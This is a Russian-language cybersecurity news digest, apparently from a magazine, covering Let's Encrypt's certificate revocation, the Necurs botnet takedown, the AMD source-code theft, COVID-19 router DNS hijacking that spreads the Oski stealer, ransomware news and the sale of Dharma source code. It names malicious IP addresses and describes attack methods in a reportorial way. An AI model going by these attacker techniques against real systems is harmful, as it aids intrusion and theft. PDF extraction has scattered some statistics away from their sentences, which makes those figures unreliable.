Инже неры  Let’s  Encrypt  успо коили,  что,  по  их  дан ным,  проб лемой  ник то
не успел зло упот ребить. Одна ко удос товеря ющий центр вынуж ден анну лиро‐ 
вать  все  сер тифика ты,  которые  были  выданы  с  наруше нием  про верок  CAA,
в соот ветс твии с отрасле выми пра вила ми.

По сути, из всех 116 мил лионов активных в нас тоящее вре мя сер тифика‐ 
тов  толь ко  2,6%  были  под верже ны  этой  проб леме.  Как  уже  было  ска зано
выше, это 3 048 289 сер тифика тов от обще го чис ла. Но отзы вать их все сра зу
все же не ста ли.

Де ло  в  том,  что  раз работ чики  приш ли  к  выводу,  что  идею  «сло мать»  так
мно го  сай тов  и  напугать  их  посети телей  вряд  ли  мож но  счи тать  хорошей.
Поэто му  было  при нято  решение  вре мен но  отло жить  обну ление  при мер‐ 
но 1 300 000 сер тифика тов, тог да как 1 706 505 сер тифика тов были перевы‐ 
пуще ны  4–5  мар та  2020  года,  как  и  пла ниро валось.  Отзыв  некото рых  сер‐ 
тифика тов все же обе щали про дол жить, но лишь пос ле того, как спе циалис ты
убе дят ся, что это «не будет бес полез ным наруше нием спо кой ствия веб‐поль‐ 
зовате лей».

«Let’s  Encrypt  пред лага ет  толь ко  сер тифика ты  со  сро ком  служ- 
бы 90 дней, поэто му зат ронутые проб лемой сер тифика ты, которые мы
не можем отоз вать, отно ситель но быс тро покинут эко сис тему», — так- 
же отме чают раз работ чики.

СА МЫЕ ОПАС НЫЕ КАТАЛО ГИ ПРИ ЛОЖЕ НИЙ

Ком пания  RiskIQ  под готови ла  отчет  об  угро зах  сре ди  мобиль ных  при ложе ний  за  2019  год.
В  чис ле  про чего  экспер ты  ком пании  изу чили  раз личные  катало ги  при ложе ний  для  Android
и сос тавили рей тинг наибо лее опас ных из них.

На ибо лее  опас ным  из  всех  был  приз нан    —  пор тал  для  заг рузки  бес плат ных  игр
под Android. Он занял пер вое мес то как каталог при ложе ний с наиболь шим количес твом новых
заг рузок мал вари, а  так же пер вое мес то сре ди магази нов при ложе ний с самой высокой кон‐ 
цен тра цией мал вари (ее сос тавили 9Game, Feral, Vmall, Xiaomi и Zhushou).

9Game.com

В 2019 году на 9Game было заг ружено   новых вре донос ных при ложе ний.61 669

Вто рое  мес то  в  рей тин ге  магази нов  с  наиболь шим  количес твом  новых  заг рузок  мал вари
с  солид ным отры вом  занима ет  офи циаль ный магазин при ложе ний Google Play Store: 
новых вре донос ных при ложе ний за год.

25 647

Ос тавши еся позиции делят меж ду собой каталог  , при над лежащий Qihoo 360, каталог
, а так же  , соз данный ком пани ей Huawei.

Zhushou
Feral Vmall

Google Play Store вооб ще не вошел в пятер ку магази нов с наиболь шей кон цен тра цией мал вари.

В  целом  количес тво  занесен ных  в  чер ный  спи сок  при ложе ний  в Google  Play Store  сни зилось
на зна читель ные   в 2019 году.76,4%

Об щее  количес тво  вре донос ных  при ложе ний  в  мире  сни зилось  на    и  оста нови лось
на отметке   (в 2018 году нас читыва лось   вре донос ных при ложе ний).

20%
170 796 213 279

GOOGLE НАРУШАЕТ
GDPR
Соз датели бра узе ра Brave обви нили  ком панию Google  в  наруше нии одно го
из прин ципов Обще го рег ламен та защиты дан ных (GDPR), а имен но той его
час ти,  которая  свя зана  с  сог ласи ем,  что  тре бует ся  для  сбо ра  и  обра бот ки
лич ных  дан ных  поль зовате лей.  С  соот ветс тву ющей  жалобой  авто ры  Brave
обра тились в ирланд скую Комис сию по защите дан ных.

Раз работ чики пишут, что полити ка кон фиден циаль нос ти Google наруша ет
прин цип целево го огра ниче ния GDPR, так как privacy policy ком пании нель зя
наз вать  проз рачной:  в  этом  докумен те  нет  явно го  ука зания  целей,  ради
которых  вооб ще  собира ются  и  обра баты вают ся  дан ные.  Дело  в  том,  что
GDPR тре бует, что бы ком пании и орга низа ции собира ли и обра баты вали лич‐ 
ные  дан ные  поль зовате лей  толь ко  для  кон крет ных  целей,  которые  дол жны
быть абсо лют но ясны пот ребите лям.

Соз датели  Brave  называ ют  полити ку  кон фиден циаль нос ти  Google  и  ее
фор мулиров ки «без надеж но туман ными и неоп ределен ными» и отме чают, что
при веден ные при чины для сбо ра дан ных  (такие  как  «раз работ ка  новых сер‐ 
висов») слов но взя ты из антипри меров GDPR, опи сыва ющих, как делать ни в
коем слу чае не нуж но. Так же утвер жда ется, что хотя Google показы вает поль‐ 
зовате лям  пер сонали зиро ван ную  рек ламу  в  соот ветс твии  с  их  инте реса ми,
информа ция о целях обра бот ки дан ных и о при чинах, по которым поль зовате‐ 
ли видят кон крет ную рек ламу, не рас кры вают ся.

В  сво ей  жалобе  пред ста вите ли  Brave  ссы лают ся  на  собс твен ное  иссле‐ 
дова ние под наз вани ем  « »,  в  котором  под робно опи‐ 
сано,  ради  каких  целей  Google  собира ет  пер сональ ные  дан ные,  исполь зуя
интегра ции  с  сай тами,  при ложе ниями  и  опе раци онны ми  сис темами.
Документ  гла сит,  что  цели  Google  «нас толь ко  рас плыв чаты,  что  не  име ют
никако го смыс ла или пре дела… В резуль тате ком пания получа ет внут ренние
дан ные,  дос тупные  для  всех,  что  наруша ет  прин ципы  огра ниче ния  целей
GDPR».

Внут ри  чер ного  ящи ка

Раз работ чики Brave про сят, что бы Google пре дос тавила пол ный и кон крет‐ 
ный спи сок целей для сбо ра и обра бот ки пер сональ ных дан ных, а так же соот‐ 
ветс тву ющие  пра вовые  обос нования  для  каж дой  из  них.  Сооб щает ся,  что
Google яко бы неод нократ но отка зыва ла Brave в под робных объ ясне ниях.

«Проб лема в том, что, ког да вы не зна ете, что про исхо дит с вашими
дан ными,  нет  никакой  ответс твен ности,  проз рачнос ти  и  кон тро ля.
Если  такая  ком пания,  как  Google,  может  опе риро вать  дан ными
по  прин ципу  free-for-all,  то  и  защита  дан ных,  и GDPR —  лишь  приз- 
рачная фан тазия», — заяв ляют в Brave.

Пред ста вите ли  Google  уже  отве тили  на  эти  обви нения,  дав  ком мента рий
изда нию The Register:

«Эти  неод нократ ные  обви нения  со  сто роны  нашего  ком мерчес кого
кон курен та не выдер жива ют серь езной про вер ки. Двад цать мил лионов
поль зовате лей ежед невно посеща ют свои учет ные записи, что бы выб- 
рать  спо соб,  каким Google  обра баты вает  их  дан ные.  Наша  полити ка
кон фиден циаль нос ти и объ ясне ния, которые мы пре дос тавля ем поль- 
зовате лям,  дают  чет кое  пред став ление  о  том,  как  хра нят ся  дан ные
и какой у поль зовате лей есть выбор».

БОТ НЕТ NECURS ЛИК ВИДИРО ВАН
Спе циалис ты ком пании Microsoft и ее отрасле вые пар тне ры (ком пании, занима ющиеся кибер‐ 
безопас ностью,  про вай деры,  регис тра торы  доменов,  CERT  и  пра воох ранитель ные  орга ны)
сооб щили  о  лик видации  одно го  из  круп ней ших  на  сегод няшний  день  бот нетов,  рас простра‐ 
няюще го спам и мал варь, — Necurs. Экспер ты сумели взло мать Necurs DGA — алго ритм генера‐ 
ции доменов, при помощи которо го бот нет генери рует слу чай ные домен ные име на.

Раз рушение струк туры DGA поз волило экспер там соз дать исчерпы вающий спи сок будущих
доменов и управля ющих сер веров Necurs,  теперь ста ло воз можно их бло киро вать и пре пятс‐ 
тво вать их регис тра ции.

→ «Мы смог ли точ но спрог нозиро вать более шес ти мил лионов уни каль ных доменов, которые
будут  соз даны  в  течение  сле дующих  25  месяцев.  Взяв  под  кон троль  сущес тву ющие  сай ты
и огра ничив воз можность регис тра ции новых, мы подор вали работу бот нета»
— Том Берт, вице‐пре зидент Microsoft

У AMD ПОХИТИЛИ
ИСХОДНИКИ
В кон це мар та изда ние Torrent Freak обра тило вни мание, что ком пания AMD
добилась уда ления с GitHub ряда репози тори ев, судя по все му содер жавших
исходные коды гра фичес ких про цес соров Navi и Arden. Человек, похитив ший
эти  исходни ки  у  ком пании,  рас ска зал  жур налис там,  что,  если  про дать  их
не удас тся, он намерен обна родо вать оставшу юся часть кода.

Жур налис ты напоми нают, что еще в июле 2019 года, что бы отпраздно вать
пятиде сяти летие  ком пании,  AMD  пред ста вила  виде окар ты  Radeon  RX
5000 с  гра фичес кими про цес сорами Navi. Исходный код для этих  устрой ств
счи тает ся сек ретным, но, похоже, теперь он попал в чужие руки.

В кон це мар та в Сети начали цир кулиро вать слу хи о том, что нек то сумел
заполу чить исходные коды гра фичес ких про цес соров Navi 10, Navi 21 и Arden,
при чем пос ледний, похоже, будет исполь зовать ся в гря дущих Xbox X. Обыч но
под твер дить  под линность  таких  уте чек  весь ма  проб лематич но,  но  в  дан ном
слу чае AMD при нима ет меры, которые говорят сами за себя. Так, в соот ветс‐ 
твии  с  Законом  об  автор ском  пра ве  в  циф ровую  эпо ху  (DMCA),  AMD  пот‐ 
ребова ла  уда лить  с  GitHub  недав но  соз данный  репози торий  xxXsoullessXxx
и про ект под наз вани ем AMD‐navi‐GPU‐HARDWARE‐SOURCE, где яко бы была
опуб ликова на укра ден ная у ком пании интеллек туаль ная собс твен ность.

GitHub  немед ленно  отклю чил  дан ный  репози торий,  пос ле  чего  жур налис ты
Torrent  Freak  заин тересо вались  про исхо дящим  и  свя зались  с  вла дель цем
репози тория,  что бы  задать  нес коль ко  воп росов.  Вла дель цем  ока залась
девуш ка (во вся ком слу чае, хакер пред ста вил ся имен но так), и она сооб щила
изда нию,  что  поводом  для  кон флик та  с  ком пани ей  дей стви тель но  пос лужил
исходный код гра фичес кого про цес сора AMD.

«В нояб ре 2019 года я обна ружи ла исходные коды для AMD Navi GPU
на взло ман ном компь юте ре, — рас ска зыва ет вла дели ца репози тория,
упо миная, что для взло ма при меня ла некие экс пло иты. — Его хозя ин
не  пред при нимал  никаких  дей ствий  про тив  [потен циаль ной]  утеч ки.
Лишь поз же я узна ла о том, что за фай лы хра нились на этой машине.
Они  даже  не  были  защище ны  или  зашиф рованы  дол жным  обра зом,
что прос то прис кор бно».

Взлом щица  объ ясня ет,  что  таким  обра зом  в  ее  руках  ока зались  исходни ки
Navi 10, Navi 21 и Arden. На воп рос о том, почему она опуб ликова ла эти дан‐ 
ные  на  GitHub,  она  отве тила,  что  решила  поделить ся  цен ной  наход кой
со  всем миром  и  даже  не  пыталась  свя зать ся  с  AMD  по  поводу  утеч ки,  так
как ком пания навер няка попыта ется подать на нее в суд.

Бо лее того, вла дели ца репози тория утвер жда ет, что пока она опуб ликова‐ 
ла  лишь  часть  похищен ных  исходни ков,  а  осталь ные  будут  обна родо ваны
для избран ного кру га лиц в том слу чае, если на них не най дет ся покупа тель.
Дело в  том,  что сто имость этой  утеч ки она оце нива ет при мер но в 100 мил‐ 
лионов дол ларов.

Пред ста вите ли  AMD  опре делен но  обес поко ены  про исхо дящим,  так
как вско ре ком пания допол нила свою исходную жалобу, ука зав еще по край‐ 
ней мере четыре дру гих репози тория на GitHub, где так же раз мещались утек‐ 
шие исходни ки. Все эти репози тории тоже были зак рыты.

В ито ге пред ста вите ли AMD и вов се были вынуж дены сде лать офи циаль‐ 
ное  заяв ление.  В  ком пании  объ ясни ли,  что  в  декаб ре  2019  года  на  связь
с ними вышел человек, который заяв лял, буд то в его рас поряже нии есть фай‐ 
лы,  име ющие  отно шение  к  гра фичес ким  про дук там  AMD  (упо мина ется,  что
некото рые из них были недав но раз мещены в откры том дос тупе, но уже были
уда лены).

Пред ста вите ли  AMD  пишут,  что  они  не  зна ют,  есть  ли  у  неиз вес тно го
на руках еще какие‐либо фай лы, помимо уже «зас вечен ных», но в  ком пании
уве рены,  что  эта  утеч ка  не  ста нет  угро зой  для  кон курен тоспо соб ности
или  безопас ности  гра фичес ких  про дук тов  AMD.  Так же  под черки вает ся,  что
ведет ся рас сле дова ние,  учас тие в  котором при нима ют пра воох ранитель ные
орга ны.

 КРИП ТОВАЛЮТ НЫХ БАН КОМАТОВ7014

Спе циалис ты  Coin  ATM  Radar  под счи тали,  что  в  нас тоящее  вре мя  в  мире  уста нов лено 
крип товалют ных бан коматов. Такие машины раз мещены в   стра нах мира, и сум марно в мире
нас читыва ется   про изво дите ля подоб ных устрой ств.
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Как  вид но  на  иллюс тра ции,  наиболь шая  плот ность  уста нов ки  крип товалю тынх  бан коматов,
как и ранее, наб люда ется в США.

КОРОНАВИРУС
И ХАКЕРЫ
Из‐за пан демии корона виру са во мно гих стра нах вве ден серь езный каран тин
и огромное количес тво ком паний переве ло сво их сот рудни ков на уда лен ную
работу.  Так  как  люди  в  боль шинс тве  сво ем  оста ются  дома,  единс твен ной
отду шиной  и  рабочим  инс тру мен том  ста новит ся  интернет.  Сей час  мно гие
игро вые,  стри мин говые,  облачные  и  про чие  сер висы  отме чают  небыва лый
при рост наг рузки и тра фика. К при меру, Netflix и YouTube ста ли при нуди тель но
сни жать  качес тво  видео,  коман да  Azure  ста вит  в  при ори тет  кор поратив ных
поль зовате лей, фун кци ональ ность Office 365 вре мен но огра ниче на, а акции
ком пании  Zoom,  раз рабаты вающей  сер вис  для  виде окон ферен ций,  стре‐ 
митель но рас тут в цене.

Ра зуме ется, этим всплес ком сетевой активнос ти, а так же стра хами людей
перед  пан деми ей  не мог ли  не  вос поль зовать ся  зло умыш ленни ки  всех  мас‐ 
тей.

ИБ‐спе циалис ты  со  все го  мира  отме чают  огромный  всплеск  все воз‐ 
можной мошен ничес кой активнос ти, свя зан ной с COVID‐19. К при меру, ана‐ 
лити ки RiskIQ  сооб щали,  что  толь ко  за  один  день,  15 мар та  2020  года,  они
выяви ли  13  500  подоз ритель ных  доменов,  свя зан ных  с  корона виру сом.
На  сле дующий  день  было  най дено  еще  35  000  подоз ритель ных  доменов
и еще более 17 000 доменов через два дня. В основном такие сай ты парази‐ 
тиру ют на стра хах поль зовате лей, рас простра няют мал варь или занима ются
откры тым  мошен ничес твом:  про дают  несущес тву ющие  вак цины,  лекарс тва,
тес ты на корона вирус и так далее.

Ин терес но, что экспер ты ком пании RiskIQ каж дый день 
новых вре донос ных кам паний  (спам, фишинг, дезин форма ция), а  так же ста‐ 
тис тику о мошен ничес ких доменах, как‐либо свя зан ных с COVID‐19. Похожие
наб людения ведет и спе циалист ESET Лукас Сте фан ко в   — сле‐ 
дит  за  Android‐мал варью  и  при ложе ниями,  экс плу ати рующи ми  пан демию
корона виру са.
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Но помимо это го мас сового и доволь но зауряд ного мошен ничес тва, спе‐ 
циалис ты  обна ружи ли  и  ряд  необыч ных  кам паний  и  слу чаев,  свя зан ных
с COVID‐19.

Вы мога тели и медуч режде ния
Из дание Bleeping Computer свя залось с опе рато рами таких извес тных шиф‐ 
роваль щиков,  как  Maze,  DoppelPaymer,  Ryuk,  Sodinokibi  (REvil),  PwndLocker
и Ako, и поин тересо валось у них, про дол жат ли они в такие слож ные для все го
мира вре мена ата ковать медицин ские учрежде ния и орга низа ции.

В ответ на воп рос жур налис тов офи циаль ные заяв ления сде лали хак‐груп‐ 
пы DoppelPaymer и Maze. Пер вые отве тили, что они в целом не ата куют боль‐ 
ницы,  лечеб ные  учрежде ния  и  экс трен ные  служ бы  и  начинать  теперь  точ но
не  пла ниру ют.  Если  же  ата ка  DoppelPaymer  слу чай но  кос нется  таких  орга‐ 
низа ций и учрежде ний, опе рато ры мал вари обе щают рас шифро вать дан ные
бес плат но.

«Но  некото рые  ком пании  пыта ются  выдавать  себя  за  что‑то  дру гое.
У  нас  есть  девело пер ская  ком пания,  которая  пыталась  при кинуть ся
неболь шим  риел тором,  или  дру гая  ком пания,  которая  пыталась
выдать  себя  за  при ют  для  собак.  Так  что,  если  такое  слу чит ся,  мы
про ведем двой ную, трой ную про вер ку перед тем, как выпус тить бес- 
плат ный  рас шифров щик.  Но  что  каса ется  фар мы:  в  эти  дни  они
зараба тыва ют  мно го  лиш него  из‑за  паники,  у  нас  нет  никако го
желания  их  под держи вать.  Пока  вра чи  что‑то  дела ют,  эти  ребята
зараба тыва ют», — говорят хакеры.

Опе рато ры Maze,  в  свою  оче редь,  опуб ликова ли  целый  пресс‐релиз.  Груп‐ 
пиров ка заяви ла, что прек ратит активность отно ситель но любых медицин ских
орга низа ций и учрежде ний вплоть до окон чания пан демии. Так же опе рато ры
Maze  «щед ро»  пред ложили  скид ки  на  рас шифров ку  таким  пос тра дав шим
орга низа циям.
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К  сожале нию,  по  дан ным  ком пании Coveware,  наибо лее  активны ми  вымога‐ 
теля ми на конец 2019 года были Sodinokibi, Ryuk и Phobos. Так что, даже если
опе рато ры DoppelPaymer и Maze отка жут ся от атак, это не слиш ком поможет.
К  при меру,  опе рато ры шиф роваль щика  Ryuk  оста нав ливать ся  опре делен но
не  собира ются:  26  мар та  2020  года  эксперт  ком пании  Sophos  рас ска зал
в Twitter, что шиф роваль щик ата ковал неназ ванное медицин ское учрежде ние
в США.

В  свою  оче редь,  руково дитель  иссле дова тель ско го  отде ла  SentinelOne
Виталий  Кре мез  сооб щил  Bleeping  Computer,  что  за  пос ледний  месяц  он
видел,  как  Ryuk  ата ковал  как  минимум  десять  медицин ских  орга низа ций.
Из  них  две  были  незави симы ми  боль ницами,  а  еще  одна  —  здра воох‐ 
ранитель ной сетью, в сос тав которой вхо дят девять боль ниц в США. По дан‐ 
ным изда ния, одна из боль ниц рас положе на в зоне,  где ситу ация с  корона‐ 
виру сом очень тяжелая.

«Мало того что они не прек ратили ата ки на цели в сфе ре здра воох- 
ранения,  мы  так же  наб люда ем  про дол жающуюся  тен денцию  атак
на  здра воох ранитель ные  орга низа ции  в  раз гар  пан демии.  Тог да
как некото рые вымога тель ские груп пы хотя бы учас тво вали в диало ге
о  прек ращении  вымога тель ства  в  области  здра воох ранения  и  приз- 
навали, что все понима ют, опе рато ры Ryuk хра нят мол чание и прес- 
леду ют  медицин ские  орга низа ции  и  учрежде ния,  нев зирая  на  наши
при зывы оста новить ся», — говорит Кре мез.

Под мена DNS
В  кон це  месяца  жур налис ты  все  того  же  Bleeping  Computer  обра тили  вни‐ 
мание на жалобы поль зовате лей, которые сооб щали на форумах изда ния, что
им  навяз чиво  пред лага ют  ска чать  стран ное  при ложе ние,  яко бы  информи‐ 
рующее  о  COVID‐19  и  соз данное  ВОЗ.  Как  ока залось,  роуте ры  этих  людей
были  ском про мети рова ны,  а  под  видом  при ложе ния  рас простра нял ся
инфости лер.

Во  всех  слу чаях  пос тра дав шие  были  вла дель цами  роуте ров  D‐Link
или  Linksys  и  неиз вес тные  зло умыш ленни ки  изме нили  на  устрой ствах  нас‐ 
трой ки DNS. Пока неяс но,  как имен но ата кующие получа ли дос туп к  устрой‐ 
ствам,  но  нес коль ко  пос тра дав ших  приз нались,  что  дос туп  к  их  роуте рам
мож но было получить уда лен но, а они исполь зовали сла бые пароли. Так что,
веро ятно,  речь  идет  о  брут форсе  и  перебо ре  учет ных  дан ных  по  спис ку
извес тных зна чений по умол чанию.

По лучив  дос туп  к  устрой ству,  зло умыш ленни ки меня ют  адре са DNS‐сер‐ 
веров на 109.234.35.230 и 94.103.82.249.

Ис сле дова тели объ ясня ют, что, ког да компь ютер под клю чает ся к сети, Mi‐
crosoft  исполь зует  фун кцию  Network  Connectivity  Status  Indicator  (NCSI),
которая пери оди чес ки про веря ет, активно ли под клю чение к интерне ту. Так,
в Windows 10 одним из подоб ных тес тов будет под клю чение к http://www.msft‐
connecttest.com/connecttest.txt и про вер ка, содер жит ли ответ Microsoft Con‐
nect  Test.  Если  содер жит,  зна чит,  компь ютер  под клю чен  к  интерне ту,  а  если
нет, Windows пре дуп редит о том, что интернет недос тупен.

Ес ли  же  поль зователь  работа ет  со  ском про мети рован ным  роуте ром,  то
вре донос ные  DNS‐сер веры  вынуж дают  Windows  вмес то  под клю чения
к  легитим ному  IP‐адре су Microsoft  13.107.4.52  под клю чать ся  к  ресур су  зло‐ 
умыш ленни ков,  рас положен ному  по  адре су  176.113.81.159.  В  ито ге  вмес то
отправ ки  упо мяну того  тек сто вого  фай ла  сайт  отоб ража ет  стра ницу,  пред‐ 
лага ющую  жер тве  заг рузить  и  уста новить  под дель ное  при ложе ние  Emer‐
gency — COVID‐19 Informator или COVID‐19 Inform App, яко бы соз данное ВОЗ.

Ес ли  поль зователь  попадет ся  на  удоч ку  ата кующих,  заг рузит  и  уста новит
это  при ложе ние,  то  вмес то  информа ции  о  корона виру се  он  получит  тро яна
Oski.  Эта  мал варь  попыта ется  соб рать  и  передать  зло умыш ленни кам  сле‐ 
дующую информа цию (спи сок непол ный):

фай лы cookie;•
ис торию бра узе ра;•
пла теж ную информа цию из бра узе ра;•
сох ранен ные учет ные дан ные;•
дан ные крип товалют ных кошель ков;•
тек сто вые фай лы;•
дан ные авто запол нения для форм в бра узе ре;•
БД 2ФА‐иден тифика торов Authy;•
скрин шоты рабоче го сто ла в момент зараже ния.•

Вско ре  пос ле  обна руже ния  проб лемы  спе циалис ты  ком пании  Bitdefender
под готови ли собс твен ный отчет об этой вре донос ной  кам пании. По их дан‐ 
ным,  хакеры  дей стви тель но  исполь зуют  брут форс,  что бы  подоб рать  пароль
для целевых роуте ров. Так же иссле дова тели сог ласны с тем, что через под‐ 
мену DNS рас простра няет ся мал варь Oski, похища ющая самые раз ные дан‐ 
ные из заражен ной сис темы.

По  информа ции  спе циалис тов,  поль зовате лей  перенап равили  на  вре‐ 
донос ный  сайт,  пос вящен ный  корона виру су,  при  попыт ке  дос тупа  к  одно му
из сле дующих доменов:

aws.amazon.com;•
goo.gl;•
bit.ly;•
washington.edu;•
imageshack.us;•
ufl.edu;•
Disney.com;•
cox.net;•
xhamster.com;•
pubads.g.doubleclick.net;•
tidd.ly;•
redditblog.com;•
fiddler2.com;•
winimage.com.•

Опе рация «Пан гея»
В свою оче редь, Евро пол сооб щил, что полиция более чем 90 стран объ еди‐ 
нилась для про веде ния опе рации «Пан гея», приз ванной оста новить рас тущий
поток мошен ничес тва, свя зан ного с COVID‐19.

Опе рацию  коор диниро вал  Интерпол,  и  один  из  ее  эта пов  про ходил
с  3  по  10 мар та  2020  года. Пра воох раните ли  из  90  стран мира  лик видиро‐ 
вали 37 прес тупных груп пировок и про изве ли 121 арест. В общей слож ности
были  кон фиско ваны  потен циаль но  опас ные  лекарс твен ные  средс тва
на  13 мил лионов  евро  (боль шинс тво  пред став ляли  собой обез болива ющие
и  анти биоти ки,  которые  обма ном  про дава лись  панику ющим  из‐за  корона‐ 
виру са пот ребите лям). Кро ме того, пра воох ранитель ные орга ны изъ яли око‐ 
ло  34  тысяч  под дель ных  хирур гичес ких  масок,  не  соот ветс тво вав ших  стан‐ 
дартам, а так же под дель ные наборы для самотес тирова ния на ВИЧ и для про‐ 
вер ки глю козы.

Круп ные интернет‐магази ны пыта ются  сво ими силами бороть ся  с  взвин‐ 
чивани ем  цен  и мошен ничес твом  и  бло киру ют  рас простра нение  про дук тов,
пре тен дующих  на  про филак тику  или  лечение  корона виру са.  К  при меру,
за пос ледние недели Amazon снял с про дажи по мень шей мере один мил лион
таких  товаров,  и  в  нас тоящее  вре мя  два  челове ка  в  США  находят ся
под следс тви ем: они ску пили в магази нах Dollar Tree, Walmart, Staples и Home
Depot поч ти 18 тысяч дезин фициру ющих средств для рук и попыта лись про‐ 
дать их на Amazon по завышен ным ценам.

НОЧЬ — ВРЕ МЯ ШИФ РОВАЛЬ ЩИКОВ

Эк спер ты аме рикан ской ком пании FireEye изу чили десят ки рас сле дова ний инци ден тов с при‐ 
мене нием  шиф роваль щиков  за  пери од  с  2017  по  2019  год.  Выяс нилось,  что  боль шинс тво
вымога тель ских атак совер шают в нерабо чее вре мя или в выход ные дни.

 всех вымога тель ских атак в кор поратив ном сек торе про исхо дят в нерабо чее вре мя: 
из них фик сиру ются в ноч ное вре мя в буд ние дни, а еще   — в выход ные.
76% 49%

27%

Опе рато ры  вымога тель ско го  ПО  заранее  про ника ют  в  сети  ком паний,  затем  тра тят  вре мя
на боковые переме щения,  что бы получить дос туп  к мак сималь ному количес тву рабочих стан‐ 
ций, и лишь потом вруч ную уста нав лива ют мал варь на все сис темы и запус кают про цесс шиф‐ 
рования. Вре мя от пер воначаль ной ком про мета ции до фак тичес кой ата ки в сред нем сос тавля‐ 
ет  .три дня

Ко личес тво управля емых людь ми вымога тель ских атак воз росло на огромные  ,  то  есть
теперь такие инци ден ты зат рагива ют все сек тора и все геог рафичес кие зоны, а не толь ко ком‐ 
пании из Север ной Аме рики.

860%

Рас пре деле ние атак по вре мени

На ибо лее  популяр ными  век торами  таких  атак  ста ли    на  откры тые  пор ты
RDP,  нап равлен ный  на  сот рудни ков  ком паний  ,  ,  а  так же  исполь‐ 
зование одно го заражен ного хос та для рас простра нения мал вари на дру гие.

брут форс‑ата ки
фи шинг ата ки drive-by

DHARMA
НА ПРОДАЖУ
На двух рус ско языч ных хакер ских форумах в про даже появил ся исходный код
одно го  из  наибо лее  при быль ных  вымога телей  нашего  вре мени  —  шиф‐ 
роваль щика Dharma. Исходни ки про дают ся за 2000 дол ларов США.

Ра нее в  этом  году,  выс тупая на  кон ферен ции RSA, ФБР наз вало Dharma
вто рым  по  при быль нос ти  вымога телем  за  пос ледние  годы.  Так,  с  нояб‐ 
ря 2016 года по ноябрь 2019‐го опе рато ры шиф роваль щика получи ли от сво‐ 
их жертв 24 мил лиона дол ларов США в виде выкупов.

Из дание ZDNet цитиру ет нес коль ких неназ ванных ИБ‐экспер тов, которые
схо дят ся  во мне нии,  что  нынеш няя  про дажа  кода Dharma,  веро ятнее  все го,
в ско ром вре мени обер нется его утеч кой в широкий дос туп. То есть мал варь
ста нет дос тупна более широкой ауди тории, а это, в свою оче редь, при ведет
к широко му  рас простра нению  исходни ков  сре ди  мно жес тва  хак‐групп,  и  за
этим в ито ге пос леду ет всплеск атак.

Впро чем, гла ва отде ла кибер рас сле дова ний McAfee рас ска зал ZDNet, что
код  Dharma  уже  дав но  цир кулиру ет  сре ди  хакеров,  а  сей час  он  прос то
появил ся  на  пуб личных  форумах.  При  этом  эксперт  выразил  надеж ду,  что
рано или поз дно исходни ки попадут в руки ИБ‐спе циалис тов и это поможет
выявить недос татки мал вари и соз дать дешиф ровщи ки.

Dharma  сущес тву ет  с  2016  года,  и  изна чаль но  вымога тель,  лежащий
в  осно ве  этой  мал вари,  называл ся  CrySiS.  Он  работал  по  схе ме  вымога‐ 
тель‐как‐услу га (Ransomware‐as‐a‐Service, RaaS), то есть дру гие прес тупни ки
мог ли  соз давать  собс твен ные  вер сии  мал вари  для  рас простра нения,
как пра вило при помощи спам‐кам паний, наборов экс пло итов или брут форса
RDP.

В  кон це  2016  года  поль зователь  под  ником  crss7777 
на форумах Bleeping Computer ссыл ку на Pastebin, содер жавшую мас тер‐клю‐ 
чи от шиф роваль щика CrySiS, которые, как потом уста нови ли экспер ты, были
под линны ми.  Пос ле  это го  CrySiS  прек ратил  свое  сущес тво вание,  «переро‐ 
див шись» как Dharma.

опуб ликовал

И хотя в 2017 году такая же   и клю чи Dharma, на этот раз
опе рато ры  вымога теля  не  ста ли  про водить  «реб рендинг»  и  про дол жили
работать,  в ито ге прев ратив свой RaaS в один из популяр ней ших  «готовых»
вымога телей на рын ке.

участь пос тигла

Так, в пос ледние годы Dharma регуляр но получа ет обновле ния. К при меру,
в 2018 и 2019  годах  кри миналь ный андегра унд адап тировал ся  к новым тен‐ 
денци ям и перешел от мас сового рас простра нения вымога телей через поч‐ 
товый  спам  к  целевым  ата кам  на  кор поратив ные  сети.  Так  же  пос тупили
и опе рато ры Dharma.

От меча ется, что вес ной 2019 года в Сети появил ся новый штамм вымога‐ 
телей  Phobos,  исполь зуемый  в  основном  для  целевых  атак.  Иссле дова тели
ком паний Coveware и Malwarebytes отме чали, что он поч ти иден тичен Dharma.
Одна ко  Dharma  при  этом  не  прек ратил  свое  сущес тво вание  и  про дол жил
работать парал лель но Phobos. К при меру, экспер ты ком пании Avast замети ли
три новые вер сии Dharma в середи не мар та 2020 года.

 УСТРОЙ СТВ БЕЗ ОБНОВЛЕ НИЙ1 000 000 000

Ана лити ки бри тан ской орга низа ции Which?, занима ющей ся защитой прав пот ребите лей, под‐ 
счи тали, сколь ко Android‐устрой ств в мире более не под держи вают ся и не получа ют обновле‐ 
ний безопас ности. По дан ным иссле дова телей, таковых нас читыва ется  , то
есть   устрой ств на Android не получа ют важ ных обновле ний безопас ности от Google, что
под верга ет их рис ку зараже ния вре донос ным ПО и дру гим уяз вимос тям.

бо лее мил лиар да
2 из 5

Проб лема  усу губ ляет ся  про дажа ми  ста рых  устрой ств  треть ими  сто рона ми  на  таких  сай тах,
как Amazon.  Так,  экспер ты  при обре ли  нес коль ко  телефо нов,  вклю чая Motorola  X, Sony Xperia
Z2 и Samsung Galaxy A5 2017, и выяс нили, что те под верже ны мно жес тву дав но обна ружен ных
и исправ ленных уяз вимос тей, вклю чая  ,   и мал варь  .Stagefright Bluefrag Jocker

GITHUB ПОКУПАЕТ
NPM
При над лежащая  Microsoft  ком пания  GitHub  объ яви ла  о  гря дущей  сдел ке
с NPM Inc, управля ющей репози тори ем npm, где содер жатся более 1,3 мил‐ 
лиона пакетов, которым поль зуют ся 12 мил лионов раз работ чиков JavaScript.
На сегод няшний день npm явля ется круп ней шим менед жером пакетов Java‐
Script  в этой эко сис теме, а  так же  круп ней шим репози тори ем пакетов сре ди
всех язы ков прог рамми рова ния.

Гла ва  GitHub  Нат  Фрид ман  (Nat  Friedman)  и  соос нователь  NPM  Айзек
Шлю тер  (Isaac  Schlueter)  рас ска зыва ют  в  бло гах,  что  в  ско ром  будущем
GitHub  и  NPM  ждет  интегра ция.  Ожи дает ся,  что  это  дол жно  повысить
безопас ность цепоч ки пос тавок ПО с откры тым исходным кодом.

«Безопас ность опен сорса — это важ ная гло баль ная проб лема, а пос ле
недав него  запус ка  GitHub  Security  Lab  и  встро енных  рекомен даций
по безопас ности мы име ем все воз можнос ти,  что бы вли ять на ситу- 
ацию», —  пишет Фрид ман  и  обе щает  воз можность  отсле живать  путь
